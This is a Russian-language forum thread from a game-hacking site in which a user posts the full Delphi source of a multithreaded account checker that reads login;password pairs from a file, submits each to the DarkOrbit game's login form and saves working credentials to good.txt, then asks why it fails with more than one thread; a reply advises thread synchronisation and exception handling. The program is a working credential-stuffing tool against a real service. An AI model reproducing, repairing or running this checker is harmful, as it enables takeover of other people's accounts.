|
Больше 1 потока не ставиться(( - Вопросы и ответы, обсуждения - Ваши вопросы по Pascal/Delphi только в данном разделе |
12.06.2012, 21:19
|
#1
|
|
|
|
Сержант
|
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
|
Больше 1 потока не ставиться((
Код:
TNewThread = class(TThread)
private
FAcc : string;
FPas : string;
Rez : Integer;
protected
procedure Execute; override;
public
procedure Sync;
constructor Create(CreateSuspended: Boolean);
end;
var
ssylka,result:string;
Form1: TForm1;
Accounts:Tstringlist;
Thread, Acc:integer;
Work:boolean;
CS:TcriticalSection;
GoodFile, BadFile: textfile;
implementation
{$R *.dfm}
constructor TNewThread.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
if OpenDialog1.Execute then
begin
Accounts.Clear;
Accounts.LoadFromFile(OpenDialog1.FileName);
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt');
Rewrite(GoodFile);
Closefile(GoodFile);
Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt');
Rewrite(BadFile);
Closefile(BadFile);
GoodLabel.Caption:='0';
Gauge1.MaxValue:=Accounts.Count;
Gauge1.Progress:=0;
Acc:=-1;
Work:=true;
for Thread:=1 to strtoint(Edit1.Text) do
TNewThread.Create(false);
Thread:=strtoint(Edit1.Text);
end;
procedure TNewThread.Execute;
var CurAcc:integer;
post:Tstringlist;
begin
while Work do
begin
CS.Enter;
Inc(Acc);
if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
CS.Leave;
if Work then
begin
FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
post:=tstringlist.Create;
post.Add('loginForm_default_username='+FAcc);
post.Add('loginForm_default_password='+FPas);
post.Add('loginForm_default_login_submit=Вход');
result:=form1.idhttp1.Post('http://www.darkorbit.ru/?locale=ru&aid=0',post);
if pos('selectInstanceHint',result)<>0 then
Rez:=1;
Synchronize(Sync);
end;
end;
dec(Thread);
if Thread=0 then ShowMessage('OK');
end;
procedure TNewThread.Sync;
begin
case Rez of
1:begin
form1.Memo1.Lines.Add(PChar(FAcc+';'+FPas));
Append(GoodFile);
Writeln(GoodFile,FAcc+';'+FPas);
Closefile(GoodFile);
Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1);
Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
end;
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Accounts.Free;
CS.Free;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Accounts:=Tstringlist.create;
CS:=TcriticalSection.create;
end;
end.
вот вообщем и полный код программы,проблема в том что больше 1 потока не ставиться( 1 поток нормально работает ставлю 2 или больше выбивает ошибку сокетов...
Последний раз редактировалось [Na`Vi]DendI; 12.06.2012 в 22:37.
|
|
|
12.06.2012, 23:47
|
#2
|
|
|
|
Лейтенант-командор
|
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
|
Re: Больше 1 потока не ставиться((
Почитайте про синхронизацию потоков.
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.
|
|
|
13.06.2012, 00:28
|
#3
|
|
|
|
Сержант
|
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
|
Re: Больше 1 потока не ставиться((
|
|
|
13.06.2012, 19:29
|
#4
|
|
|
|
Лейтенант-командор
|
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
|
Re: Больше 1 потока не ставиться((
Заключи отправку запроса в try..except и пропиши исключение. Это самое простое.
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.
|
|
|
14.06.2012, 14:08
|
#5
|
|
|
|
Сержант
|
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
|
Re: Больше 1 потока не ставиться((
|
|
|
Ваши права в разделе
|
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
|
|
|
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 21:26.
|
|